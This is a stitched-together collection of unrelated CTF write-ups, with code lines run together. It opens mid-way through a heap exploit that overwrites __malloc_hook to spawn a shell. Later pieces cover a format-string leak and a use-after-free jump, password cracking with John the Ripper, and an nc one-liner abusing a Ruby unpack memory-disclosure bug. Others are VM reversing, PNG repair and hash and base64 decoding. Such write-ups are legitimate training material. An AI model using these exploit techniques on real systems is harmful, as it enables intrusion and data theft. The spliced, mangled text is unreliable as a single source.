for i in xrange(3): create("tmp".ljust(0x60, str(i)))for i in [1,0,2]: delete("tmp".ljust(0x60, str(i)))
#now 0x20 * 3 + 0x70 * 3
payload = 'A' * 8 + p64(heap_addr + 0x1170)
create(payload)delete(payload)
unitialzed_todo = "unitialized data 2".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)
set_data(unitialzed_todo, 'A', 0x10)# now 0x70 are poisoned and all others are empty
for i in xrange(4): create("getshell" + str(i))
set_data("getshell0", p64(libc_addr + e.symbols["__malloc_hook"] - 0x23), 0x60)set_data("getshell1", 'a', 0x60)set_data("getshell2", 'b', 0x60)set_data("getshell3".ljust(0x100, '\x00'), '\x00' * 0x13 + p64(libc_addr + ONE_GADGET_OFF), 0x60)
sh.sendline("1")sh.recvuntil("topic: ")sh.sendline("123")
sh.interactive()```
## rev3al
### Initialization of VM
This is a VM reverse challenge, which is a bit complicated but not very hard; it is solvable if enough time was spent.
```ctext = (unsigned int *)mmap(0LL, 0xA00uLL, 3, 34, 0, 0LL);if ( text != (unsigned int *)-1LL ){ mem = (unsigned __int8 *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( mem != (unsigned __int8 *)-1LL ) { jmp_tab = (unsigned int *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( text != (unsigned int *)-1LL ) {//...```
Initially, 3 pages are allocated by `mmap`.
Then input is obtained by `cin`
```cinput.ptr = input.data;input.size = 0LL;input.data[0] = 0;std::operator<<<std::char_traits<char>>(&std::cout, "Go for it:\n");std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);if ( input.size - 1 > 0xD ) // <= 0xe == 14 exit(1);```
While the definition of `std::string` in `x86-64 Linux` is
```assembly00000000 std::string struc ; (sizeof=0x20, align=0x8, mappedto_10)00000000 ptr dq ? ; XREF: main+BC/w00000008 size dq ? ; XREF: main+C0/w00000010 data db 16 dup(?) ; XREF: main+B8/o00000020 std::string ends```
Since the length here is not longer than 16 bytes (<= 14), the last 16 bytes are always `char array` instead of pointer to heap.
Then `mem` and `jmp_tab` are initialized to 0 in weird but fast way, which are not important. Then input is copied to `mem+200`, and virtual registers of the VM is initialized to 0. (I actually found them to be registers later when I was analyzing the VM)
```cqmemcpy(mem + 200, input.ptr, 14uLL); // input size == 14i = 5;do{ a2a = 0; vector::push_back(®s, &a2a); --i;}while ( i );```
The `regs` are `std::vector`, and each element is `uint8_t`. I found it to be `std::vector` and the function to be `push_back` by debugging and guessing. (It is quite unreasonable to reverse the STL lib function)
The definition of `std::vector<uint8_t>` is as shown
```assembly00000000 std::vector struc ; (sizeof=0x18, mappedto_11)00000000 ptr dq ? ; XREF: main:loc_1EF3/r00000008 end dq ? ; XREF: main+277/w ; offset00000010 real_end dq ? ; offset00000018 std::vector ends```
Then it is the codes to initialize and run the VM.
```cregs.ptr[3] = 0;tmp.ptr = tmp.data;std::string::assign(&tmp, chal1.ptr, &chal1.ptr[chal1.size]);vm_init(&tmp);if ( tmp.ptr != tmp.data ) operator delete(tmp.ptr);vm_run();```
`tmp` is also `std::string`, and `std::string::assign` assign the value of `chal1` to `tmp`. Where is `chal1` defined? By using cross reference in IDA, we found that it is initialized in function `0x2042`, which is declared in `_init_array` and will be called before `main` function. Except some basic C++ initialization stuff, it also assign `"chal.o.1"` to `chal1` and assign `"chal.o.2"` to `chal2`, which are obviously the file names of files being provided.
Back to the `main` function. In function `vm_init`, it simply loads the file into `text` memory page. There are many C++ stuff in this function and they are hard to read, but luckily they are not important so we do not need to focus on them.
```c++std::istream::read(&v5, (char *)text, v2); // critical step```
The logic that cause the correct information to be outputted is easy: after running first VM `mem[1]` must be true, and after running second VM `mem[2]` must be true. Even if it can also be the case that `mem[2]` becomes true and `mem[1]` remains 0 after the first VM, this is not very possible I guess, otherwise the file `"chal.o.2"` will be useless.
### VM Analysis
The `vm_run` function is as shown
```cvoid __cdecl vm_run(){ unsigned int *t; // rbx unsigned int j; // ecx unsigned int i; // eax
t = text; j = 0; i = 0; do { if ( (HIWORD(text[i]) & 0xF) == 0xC ) // high word of each instruction jmp_tab[j++] = i; // record the index of instruction to jmp tab ++i; } while ( i <= 0x3F && j <= 0x3F ); bContiue = 1; do one_instr(t[regs.ptr[3]]); while ( bContiue );}
void __fastcall one_instr(unsigned int instr){ unsigned int high_word; // eax unsigned __int8 dst; // dl unsigned int src; // edi unsigned __int8 *v4; // rdx unsigned __int8 v5; // al unsigned __int8 v6; // cl unsigned __int8 *v7; // rax
high_word = (instr >> 0x10) & 0xF; dst = instr & 3; src = (instr >> 2) & 3; if ( dst == 3 ) dst = 2; if ( (_BYTE)src == 3 ) LOBYTE(src) = 2; switch ( (_BYTE)high_word ) { case 0: bContiue = 0; break; case 1: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[(unsigned __int8)src]] + mem[regs.ptr[dst]]; else regs.ptr[dst] += regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 2: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] - mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] -= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 3: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] * mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] *= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 4: if ( regs.ptr[4] ) { v4 = ®s.ptr[dst]; v5 = mem[*v4] / mem[regs.ptr[(unsigned __int8)src]]; } else { v4 = ®s.ptr[dst]; v5 = *v4 / regs.ptr[(unsigned __int8)src]; } *v4 = v5; ++regs.ptr[3]; break; case 5: if ( regs.ptr[4] ) v6 = mem[regs.ptr[(unsigned __int8)src]]; else v6 = regs.ptr[(unsigned __int8)src]; regs.ptr[dst] = v6; ++regs.ptr[3]; break; case 6: if ( regs.ptr[4] ) mem[regs.ptr[dst]] = mem[regs.ptr[(unsigned __int8)src]]; else mem[regs.ptr[dst]] = regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 7: regs.ptr[3] = regs.ptr[dst]; break; case 8: regs.ptr[4] = (regs.ptr[4] ^ 1) & 1; ++regs.ptr[3]; break; case 9: if ( regs.ptr[dst] ) { ++regs.ptr[3]; } else if ( regs.ptr[4] ) { regs.ptr[3] += regs.ptr[(unsigned __int8)src]; } else { regs.ptr[3] = regs.ptr[(unsigned __int8)src]; } break; case 10: regs.ptr[dst] = src; ++regs.ptr[3]; break; case 11: if ( regs.ptr[4] ) { v7 = &mem[regs.ptr[dst]]; ++*v7; } else { ++regs.ptr[dst]; } ++regs.ptr[3]; break; case 12: ++regs.ptr[3]; break; default: std::operator<<<std::char_traits<char>>(&std::cerr, "Invalid instruction!\n"); exit(1); return; }}```
Each instruction is 4-bytes; there are 4 registers that can be directly accessed by the VM program; the opcode is 4 bits; `r4` controls a "mode", and some instructions will perform differently when the `r4` is different.
Then it takes some time to write a [disassembler](disasm.py), and after then we can disassemble these 2 files to further analyze.
### VM Program Analysis
After generating the assembly codes of this VM, we found that it would use some operations to produce a specific constant, because the only possible immediate numbers in this instruction set are `0-3`. It will produce `200` at the beginning, which is the address of our input, and then store it at address `0` for further usage. After analyzing a few characters of the input, I found the pattern that it will load the input character into register, minus it by a particular number, and compare it with zero. The program will stop if the result is not zero. My approach is to translate the assembly into Python, and set the inputs to zero. When comparing the input with zero, we output the negation of the character, which is the correct input. Here is the translated [script](1.py).
Note: we need to change all these things:
1. `switch` instruction, which is useless2. all arithmetic operation must have a `%0x100` after it3. all memory read/write to array accessing4. all conditional jumps to print negation of the condition
```accessing 200waccessing 0accessing 2041accessing 0accessing 213taccessing 0accessing 201haccessing 0accessing 207Daccessing 0accessing 203Naccessing 0accessing 210kaccessing 0accessing 205Taccessing 0accessing 211----------86`accessing 1256accessing 0accessing 206saccessing 0accessing 212uaccessing 0accessing 2023accessing 0accessing 2084```
Then just inspect the output and reconstruct the flag.
But, except character at `[11]`, is `[11] * 2 - 86 == 10`. Since it multiplies the character by 2, the previous method does not work, so we must solve this manually, which is `'0'`. This actually takes me some time.
So the final flag is `wh3N1TsD4?k0ut`, while the `?` seems to be any character. |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Multi.md)
The file is a 64-bit ELF executable. I used gdb to debug the binary and IDA to have a better view of the assembly code.
This challenge is divided into 4 stages. The first 3 stages raise 3 boolean flags on completion and the 4th stage executes **/bin/sh** if the flags are correctly set.
If a stage fails, the program exits with a supportive message:
> Go learn some more
**Stage 1**
> Solve this challenge to advanceEnter two numbers:
This stage is pretty straight-forward, the application requires 2 numbers so that B - A = 1337. The stage fails is one of the number is greater than 1336.
Fortunately, negative numbers exist.
> -1337 0
**Stage 2**
Stage 2 is a loop where you have a choice between the same two inputs at every step. Depending on your input, a variable called **Val** is increased or decreased. It starts at 10000.
> 1. Add a number between 0-250 > 2. Subtract a number between 0-250 > 2 > Enter a number between 1-250 inclusive: 250 > Val is now 9750
It seems that you can't bypass this choice. You also can't go above 10,000. Finally, if you try to decrease the value below 5,000, it gets raised back up to more than 9,000.
After further investigation, the application uses 2 threads for this stage:
1. The main thread handles the main loop and does the adding and substracting depending on user input. It sleeps for 1 second at the end of each loop execution and if the value is negative, you win the stage. 2. Another thread runs the following loop in the **check()** function:
```while(Val <= 10000) { if(Val < 5000) { sleep(4); // 4 seconds Val += 4900; }}```
The goal in this stage is to raise Val above 10,000 in order to stop the check() thread. We can take advantage of the 4 seconds sleep by decreasing the value to 4,999 and raise it back quickly to 5,749. When the second thread adds 4,900 Val becomes 10,649 so it stops checking and we are then free to decrease the value to below 0.
**Stage 3**:
At stage 3, you are greeted with this message:
> Now that you are here, you gotta tell me about yourself:
When you type some input, the programs repeats what you typed and asks you for an address:
> Now that you are here, you gotta tell me about yourself: > someinput > So you say that you are a > someinput > Okay, let's see how good you are > Give me the address of the puts function
To pass this stage, you need to input the address of libc puts function as a long value. Unfortunately the executable is **dynamically linked** so you can't extract this information with static analysis.
Now the first input of this stage is there for a reason, we can find that there is a **Format String Attack** possible on this input because the program repeats your input with **printf(your_input)** instead of **print("%s", your_input)**!
I had some trouble figuring this one out and I ended with the following solution:1. Use the input "%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p:%p" to leak values directly from the stack.2. The last leaked value is return address of __libc_start_main function. It's different every time you launch the binary because of dynamic linking.3. Add the correct offset to the value (offset between this return address and the address of puts in libc).
I used gdb to figure out the offset needed once, which was 5ee29 on my machine. Sadly, the remote server was using a different libc version so the offset was different. I tried different offsets from a [libc database](https://github.com/niklasb/libc-database/) and found the correct version and offset: **libc6_2.23-0ubuntu10_amd64** and **4ee60**.
I'm sure people will come out with better methods of getting puts function and I'm certain you can simply bypass this stage completely or even go to the flag from here but it's my first experience with CTF.
**Stage 4**
The last stage feels easier, you have 4 choices and can repeat them:> We are about to finish. I hope you had fun > 1. Create a memory region > 2. Delete the memory region > 3. Do some captcha > 4. Jump
First option allocates 8 bytes of memory, puts the address in some variable p and raises a flag to 1.
Second option simply frees the memory allocated at p.
Third option asks "Whats the sum of 0xdeadbeef and 0xcafebabe:", allocates 8 bytes for your input and stores your answer in the allocated memory block.
Fourth option only works if the flag from first option was raised and jumps to the value stored at the address pointed by p.
This is a **Use After Free** vulnerability. By calling 1, 2, 3 and 4, in that order, we are able to jump to any address we input in 3. Indeed, we are allocating the same memory block in 3 as the one that was originally pointed by p and freed in 2. In 4, the program reuses the pointer p that still points to the same memory location.
In 3, we input the address of the **finish()** function, that is otherwise not accessible: **4199982** (0x40162e, obtainable with objdump -d multi | grep finish).
```$ lsflagmulti$ cat flagevlz{I_h0pe_y0u_l3arnt_s0me7h1ng_wh1l3_s0lv1ng_th15}ctf``` |
[Return of the Sith - Part 3]---Question:--- Ok, great. They had full root access, did they leave anything else behind? Any other backdoor?
Answer--- 1. After some research in the bash_history, i was able to spot something weird.
2. Looks like the user mysql has been turned to root 3. SSH has been enabled, and mysql user is allowed with sh-shell.
Flag:--- mysql |
import os
liste='11110101011110010101111101111001110001100000001000000100101011111001110001100110100010110010111010111100101011100011000010000000001101110001100111000000011110011111000110111001001111100011001101011010111100000010011111011010110011011111000110101011100101011100011001110000000110100000001000000000001001101011000001100001001111110001100111110001011100000001101110010011111000110000100111110110100111000110011010001011111000110011111000000101010010011110001011110100111000110000110111110111100100000101111001010111000110000000110000110101100000110100000001101001010111000000110111000110010101001101110001100001011111100000001001001011110010101111101110001100111110001101110001100110100010110010111010111100101011111011100011001111001110000000100111110000111000000011100011001110000000001011100000111011110101111000000011100101111110001100110111001101110001100111110110000000001111001110001100111000000011010011100011001111000000011000000000111100111000110011011011111011000000000111000000011110011100100111110001100111110110110001011101110011101000001101011111000000111110010000110010101110010001001000010000000111000000111000011100000110000011101001001110000011100111111000000111100000011101001110000011101101110000001110010101110000011000010111001000111100000000010111111010001100001011101000011101011001101011011100011001110111101010000000100111000110011000001011001000011011001010101011101001110001100111110010100111110110010101101011000000011011100000000011000000010111100001110001100101010010111001011111100000001111001101011010111110001100001011111100000001001001011110010100000000100111000110011000000000001000000011100011001010100110111000110011100000000010111000001110111101010000010000111000110011111001010011100011001111101110000000111000110011010110101111110011110001011110100010111110001100110101101011110000001001111101110111101011110000000001101110010111111000110011111110101000000010011100011001110000000101010011011111011100011000000011001010101011100101011111011100011001101000101100101110101111001010111000110000000110000111000110011001010111110100001100101011111000001011111011000011010011111011001010000000011011100011000000011000011100011001101100101100101111010110000001101110000000001101111101110001100110110111110001011100000001101110001100111110001000010011111011100011001101011000000010111001011110101111100111000110011010001011001011101011110010101111101110001100111110101011110001100101101010110011100000111000000000110111000110011000010101001011100101111110000000111000110010000111000000011001010000001110000000001101010111001010'
flag='evlz{'
s='11111011011000101110111001110100000'
while True :
for i in range(32,127):
data=os.popen(" python -c 'print chr( {} ) ' | ./smol-big ".format(i)).readlines() k=data[-1][:-1] if str(s)+str(k) in liste : s=s+data[-1][:-1] flag=flag+chr(i) print flag
if flag[-3:] == "c't'f": break
print flag |
[1] # zip2john flag.zip > ziphash
[2] # john --wordlist=/usr/share/wordlists/rockyou.txt ziphashUsing default input encoding: UTF-8Loaded 1 password hash (PKZIP [32/64])Will run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status!!!0mc3t (flag.zip/flag.txt)1g 0:00:00:01 DONE (2019-02-03 13:55) 0.6134g/s 8798Kp/s 8798Kc/s 8798KC/s !!rebound!!..*7¡Vamos!Use the "--show" option to display all of the cracked passwords reliablySession completed
As seen in the output above, !!!0mc3t was the password. I then unzipped the flag.txt file and that's where I found the following string:652076206c207a207b207320302075206e2064205f20302066205f206d2075203520692063207d206320742066
I took a lazy approach to this part of the challenge and sent it to cyberchef and used "magic" to decode the string. Magic used from hex to convert the reveal the flag:e v l z { s 0 u n d _ 0 f _ m u 5 i c } c t f
I manually removed the spaces and submitted the flag. |
This challenge was an animated gif that flashed small lines and color blotches as it looped. I figured I'd need to piece each frame together in order to see the complete image. I loaded the gif in to gimp and found that the backgrounds were solid white so I couldn't simply merge them.
I did a bit of googling and found a command that would change the white background in each frame to transparent:
`# convert persistant.gif -transparent white result.gif`
I then opened up result.gif with gimp and got the flag:
100 points |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Sanity-Check-2.md)
Second sanity check, image is a QR code.
Scanning it reveals a Zippyshare link to download a **flag.zip** archive protected by a password, containing a **flag.txt** file.
Before using JohnTheRipper, let's try [a zip password recovery website](https://passwordrecovery.io/zip-file-password-removal/)... Password is found in seconds: **!!!0mc3t**.
The text file contains an hexadecimal string in plain text:> 652076206c207a207b207320302075206e2064205f20302066205f206d2075203520692063207d206320742066
Converted to ASCII it becomes:> e v l z { s 0 u n d _ 0 f _ m u 5 i c } c t f |
# Hidden in almost plain sight (374 PTS)
### Description
>A strange file was sent to Santa's email address and he is puzzled. Help him find what's wrong with the file and you can keep any flag you find in the process.>>_Author: Googal_
Files:- [Celebration](https://drive.google.com/file/d/1JiGT9HxVp83dSv_FAuFYfKPCEPDaGmju/edit)
Flag: ```X-MAS{who_knows_wh3re_s4anta_hid3s_the_g1fts}```
### Solution
Firstly we need to determine a type of the "strange file".
```sh$ file Celebration Celebration: data```
The famous `file` utility doesn't help us, so let's do it manually!
```sh$ xxd Celebration | head00000000: 8900 0047 0d0a 1a0a 0000 000d 4948 4452 ...G........IHDR00000010: 0000 15f0 0000 0cb2 0802 0000 00eb a6d7 ................00000020: 5f00 0000 0970 4859 7300 000e f300 000e _....pHYs.......00000030: f301 1c53 993a 0000 0011 7445 5874 5469 ...S.:....tEXtTi00000040: 746c 6500 5044 4620 4372 6561 746f 7241 tle.PDF CreatorA00000050: 5ebc 2800 0000 1374 4558 7441 7574 686f ^.(....tEXtAutho00000060: 7200 5044 4620 546f 6f6c 7320 4147 1bcf r.PDF Tools AG..00000070: 7730 0000 002d 7a54 5874 4465 7363 7269 w0...-zTXtDescri00000080: 7074 696f 6e00 0008 99cb 2829 29b0 d2d7 ption.....())...00000090: 2f2f 2fd7 2b48 49d3 2dc9 cfcf 29d6 4bce ///.+HI.-...).K.```
`IHDR`, `pHYs`, `tEXt` suggest us the correct file type: [PNG](https://en.wikipedia.org/wiki/Portable_Network_Graphics). These **chunk names**, especially `IDHR`, are well-known by all stegano/forensics CTF players.
According to the [format specification](https://www.w3.org/TR/PNG/), the first 8 bytes of PNG image file _always contain the following (decimal) values_:
```[137, 80, 78, 71, 13, 10, 26, 10]
[0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]
'\x89PNG\r\n\x1a\n'```
After comparison with the given file, we can find the difference: two zero bytes instead of `PN` at the start! So, I can't wait any more, let's fix that!
```sh$ xxd Celebration_fixed | head -100000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR$ file Celebration_fixed Celebration_fixed: PNG image data, 5616 x 3250, 8-bit/color RGB, non-interlaced```
Good job! Now, opening the image...
Okay, there is a big magenta rectangle in the center. And we have no chances to look behind it.
It's the _deep forensics_ time!
[TweakPNG](http://entropymine.com/jason/tweakpng/) is a Windows utility for a PNG files inspection. We can use it directly or through [Wine](https://en.wikipedia.org/wiki/Wine_(software)).
We can perform a manipulation of all PNG chunks and their content. After some guessing I've tried to change the image's height, so PNG size was changed from `5616x3250` to `5616x3600`.
Save the image as `Celebration_fixed_resized.png` and open it in viewer:
|
[Binary 2]---Question:--- Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information? ***Flag is all caps
Answer--- 1. Tried opening the application in IDA (didn't work because of missing libs) 2. Tried running the app, found nothing 3. Exported the app via 7zip, found nothing 4. Used a hex-editor on the application 5. Found some weird text startig with {F},{L},{A},{G}
Flag:--- flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3} ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3 |
We have a small Ruby script and a TCP port to connect to.
```rubyflag = "FLAG{******************************}"# Can you read this? really???? lol
while true
puts "[CONVERTER IN RUBY]" STDOUT.flush sleep(0.5) puts "Type something to convert\n\n" STDOUT.flush puts "[*] readme!" STDOUT.flush puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a" STDOUT.flush puts "When you want to type string, just type string. e.g hello world" STDOUT.flush puts "When you want to type int, just type integer. e.g 102939" STDOUT.flush
puts "type exit if you want to exit" STDOUT.flush
input = gets.chomp puts input STDOUT.flush
if input == "exit" file_write() exit
end
puts "What do you want to convert?" STDOUT.flush
if input[0,2] == "0x" puts "hex" STDOUT.flush puts "1. integer" STDOUT.flush puts "2. string" STDOUT.flush
flag = 1 elsif input =~/\D/ puts "string" STDOUT.flush puts "1. integer" STDOUT.flush puts "2. hex" STDOUT.flush
flag = 2 else puts "int" STDOUT.flush puts "1. string" STDOUT.flush puts "2. hex" STDOUT.flush
flag = 3 end
num = gets.to_i
if flag == 1 if num == 1 puts "hex to integer" STDOUT.flush puts Integer(input) STDOUT.flush
elsif num == 2 puts "hex to string" STDOUT.flush tmp = [] tmp << input[2..-1] puts tmp.pack("H*") STDOUT.flush else puts "invalid" STDOUT.flush end
elsif flag == 2 if num == 1 puts "string to integer" STDOUT.flush puts input.unpack("C*#{input}.length") STDOUT.flush elsif num == 2 puts "string to hex" STDOUT.flush puts input.unpack("H*#{input}.length")[0] STDOUT.flush else puts "invalid2" STDOUT.flush end
elsif flag == 3 if num == 1 puts "int to string" STDOUT.flush elsif num == 2 puts "int to hex" STDOUT.flush puts input.to_i.to_s(16) STDOUT.flush else puts "invalid3" STDOUT.flush end
else puts "invalid4" STDOUT.flush
end
end```
The Ruby script's intended functionality apparently is to convert values to strings, integers and hexadecimal.
The bug is easily identifiable in the following lines:
```ruby puts input.unpack("C*#{input}.length")[...] puts input.unpack("H*#{input}.length")[0]```
In Ruby, `#{something}` is a template, which will be replaced by the value of `something`.
Looks like the correct way to write those lines should have been with `length` inside the curly braces, to make it evaluate as the length of `input`. As it is now, `unpack` takes `input` itself as argument.
By itself unpack isn't insecure, but a quick Google search for "ruby unpack vulnerabilities" immediately gives a good candidate for exploitation:[https://www.ruby-lang.org/en/news/2018/03/28/buffer-under-read-unpack-cve-2018-8778/](https://www.ruby-lang.org/en/news/2018/03/28/buffer-under-read-unpack-cve-2018-8778/)
On not so recent versions of ruby, passing big numbers as argument to unpack makes it possible to dump the memory of the program due to a wrong signed/unsigned conversion. This will probably let us retrieve the initial value of flag, even if the reference was overwritten.
### Dumping memory
```$ (python -c "import sys; sys.stdout.write('@18446744073708351616C1200000\n1\n')"; cat -) | nc 110.10.147.105 12137 > dump.txt```
### Converting the output to charactersThe script outputs the result as single integers and floats. We can quickly convert those to actual characters.
```python#!/usr/bin/env python2import stringwith open('dump.txt') as f: s = f.read()out = ''for line in s.split('\n'): try: c = chr(int(line)) if c in string.printable: out += c except ValueError: continuewith open('dump2.txt', 'w') as g: g.write(out)```
### Finding the flagThe last step is easy, we know the flag format.
```$ cat dump2.txt | grep -i "FLAG{.*}"FLAG{Run away with me.It'll be the way you want it}```
|
# FireShell CTF 2019 – Alphabet
* **Category:** crypto* **Points:** 60
## Challenge
> If you know your keyboard, you know the flag
## Solution
The challenge provides a file with several strings in it: [submit_the_flag_that_is_here.txt](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/FireShell%20CTF%202019/Alphabet/submit_the_flag_that_is_here.txt).
Based on their dimensions (i.e. 32 chars and 64 chars), strings seem to be MD5 and SHA-256 hashes.
Considering the text of the challenge, they could be hashes of keyboard chars; hence it is sufficient to produce MD5 and SHA-256 dictionaries to reverse the hashes.
Following Python script could be used.
```pythonimport hashlib
print "[*] Creating dictionaries."dictionary_md5 = {}dictionary_sha256 = {}for i in range(32, 127): plain_char = chr(i) print "[*] Hashing char: {}".format(plain_char) dictionary_md5[hashlib.md5(plain_char).hexdigest()] = plain_char dictionary_sha256[hashlib.sha256(plain_char).hexdigest()] = plain_char
print "[*] Reading file."with file("submit_the_flag_that_is_here.txt") as f: file_content = f.read()hashed_chars = file_content.split(" ");
print "[*] Decrypting message."decrypted_message = ""for h in hashed_chars: decrypted_char = None if len(h) == 32: decrypted_char = dictionary_md5[h] elif len(h) == 64: decrypted_char = dictionary_sha256[h] if decrypted_char is not None: decrypted_message += decrypted_char
print "[*] Decrypted message:"print decrypted_message```
It will reveal the message with the flag.
```Congratulations!_T#e_Flag_Is_F#{Y3aH_Y0u_kN0w_mD5_4Nd_Sh4256}``` |
The fllag was in a [Twitter](https://twitter.com/fireshellst/status/1076088994574860288) post on qrcode.
**F#{4re_Y0u_r3c0n?!!_:)}** |
# FireShell CTF 2019 – Social
* **Category:** recon* **Points:** 60
## Solution
In the Twitter profile of FireShell there is a tweet regarding the CTF.
[https://twitter.com/fireshellst/status/1076088994574860288](https://twitter.com/fireshellst/status/1076088994574860288)
The tweet contains an image.
In the image there is a QR code.
Decoding the QR code via [https://webqr.com/](https://webqr.com/) will reveal the following content with the flag.
```https://fireshellsecurity.team/ https://www.facebook.com/fireshellst/ https://twitter.com/fireshellst F#{4re_Y0u_r3c0n?!!_:)}``` |
# FireShell CTF 2019 – Welcome
* **Category:** recon* **Points:** 60
## Solution
The flag was in the web page of the rules: `https://ctf.fireshellsecurity.team/rules`.
```F#{w3lc0m3_gUyS!!!!!FIr35h#L_ctF_@)!(}``` |
# Evlz CTF 2019 – Portability
* **Category:** Misc* **Points:** 25
## Challenge
> My beautiful API is finally ready! Uses Flask, Virtual Environments, and loads the config from Environment Variables! >> [Download](https://github.com/m3ssap0/CTF-Writeups/raw/master/Evlz%20CTF%202019/Portability/portability.zip)
## Solution
The challenge provides an archive containing the application source code, repository and libraries.
Analyzing the `handout/application.py` file, you can discover that the application reads from an environment variable.
```pythonFLAG = os.getenv("FLAG", "evlz{}ctf")
@app.route('/beauty', methods=["GET"])def beauty(): return jsonify({ 'flag': FLAG })```
Into the `handout/env/bin/activate` file there is a suspect `export` command.
```bashexport $(echo RkxBRwo= | base64 -d)=ZXZsenthbHdheXNfaWdub3JlX3RoZV91bm5lY2Nlc3Nhcnl9Y3RmCg=```
Decoding the base64 string `ZXZsenthbHdheXNfaWdub3JlX3RoZV91bm5lY2Nlc3Nhcnl9Y3RmCg=` will reveal the flag.
```evlz{always_ignore_the_unneccessary}ctf``` |
# Quals Saudi and Oman National Cyber Security CTF 2019 – Back to basics
* **Category:** Web Security* **Points:** 50
## Challenge
> not pretty much many options. No need to open a link from a browser, there is always a different way>> [http://35.197.254.240/backtobasics](http://35.197.254.240/backtobasics)
## Solution
Opening the URL with browser will redirect to Google.
*curl* should be used to GET the page.
```$ curl -X GET -i http://35.197.254.240/backtobasics/HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Thu, 07 Feb 2019 20:44:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveAllow: GET, POST, HEAD,OPTIONS
<script> document.location = "http://www.google.com"; </script>```
The URL seems to allow following HTTP operations: `GET`, `POST`, `HEAD`, `OPTIONS`.
Using `POST` will return the following.
```$ curl -X POST -i http://35.197.254.240/backtobasics/HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Thu, 07 Feb 2019 20:42:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveAllow: GET, POST, HEAD,OPTIONS
```
The returned JavaScript can be written like the following to retrieve the flag.
```javascriptvar _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2) { flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0]) console.log(flag)}
//console[_0x7f88[4]]= reverse;//console[_0x7f88[4]](_0x7f88[5]);reverse(_0x7f88[5]);```
The flag is the following.
```2b323f9008ed771765cd2259d860baec``` |
-compiled binary no header or tables
used r2 to decompile and debug.```
[0x01002059]> pdf/ (fcn) entry0 68| entry0 ();| 0x01002004 58 pop eax| 0x01002005 3c02 cmp al, 2 ; 2 CHECKS IF THERE IS A ARGUMENT| ,=< 0x01002007 740b je 0x1002014| | ; CODE XREF from entry0 (0x100205d)| .--> 0x01002009 b37f mov bl, 0x7f ; 127| :| 0x0100200b 31c0 xor eax, eax 0| :| 0x0100200d 40 inc eax 1 == exit| :| 0x0100200e cd80 int 0x80 syscall| :| 0x01002010 0200 add al, byte [eax]| :| 0x01002012 0300 add eax, dword [eax]| :| ; CODE XREF from entry0 (0x1002007)| :`-> 0x01002014 b420 mov ah, 0x20 ; 32 or space | :,=< 0x01002016 eb16 jmp 0x100202e..| :| ; CODE XREF from entry0 (0x1002016)| :`-> 0x0100202e 31c9 xor ecx, ecx ;| : 0x01002030 bb00200001 mov ebx, map.home_m42d_Desktop_CTFs_akbar_Native_native.rwx ; 0x1002000| : 0x01002035 5e pop esi ; (path) | : 0x01002036 5e pop esi ; (arguments)| : 0x01002037 eb01 jmp 0x100203a ; a NOP is a NOP| : 0x0100203a 204b0a and byte [ebx + 0xa], cl| : ; CODE XREF from entry0 (0x100205b)| :.-> 0x0100203d 56 push esi ; arg pointer back on stack| :: 0x0100203e 53 push ebx ; push pointer to beginning of file on stack| :: 0x0100203f 01ce add esi, ecx ; | :: 0x01002041 01cb add ebx, ecx ; add counter2 to file pointer | :: 0x01002043 31d2 xor edx, edx ;| :: 0x01002045 30c0 xor al, al ;| :: ; CODE XREF from entry0 (0x100204f)| .---> 0x01002047 0203 add al, byte [ebx] ; add byte that filepointer points to to al| ::: 0x01002049 00e3 add bl, ah ; move file pointer 32 bytes| ::: 0x0100204b 42 inc edx ; counter2++| ::: 0x0100204c 83fa04 cmp edx, 4 ;| `===< 0x0100204f 75f6 jne 0x1002047 ; so this loop happens 4 times | :: 0x01002051 5b pop ebx ;| :: 0x01002052 3206 xor al, byte [esi] ; xor the value of that calculated with the byte counter | :: 0x01002054 08430a or byte [ebx + 0xa], al ; OR het resultaat met wat filepointer + 10| :: 0x01002057 5e pop esi ; reset file pointer to start of file| :: 0x01002058 41 inc ecx ; counter++| :: ;-- eip:| :: 0x01002059 b 38e1 cmp cl, ah ; counter == 0x20| :`=< 0x0100205b 75e0 jne 0x100203d ;\ `==< 0x0100205d ebaa jmp 0x1002009 ;
```
python script to extract flag.
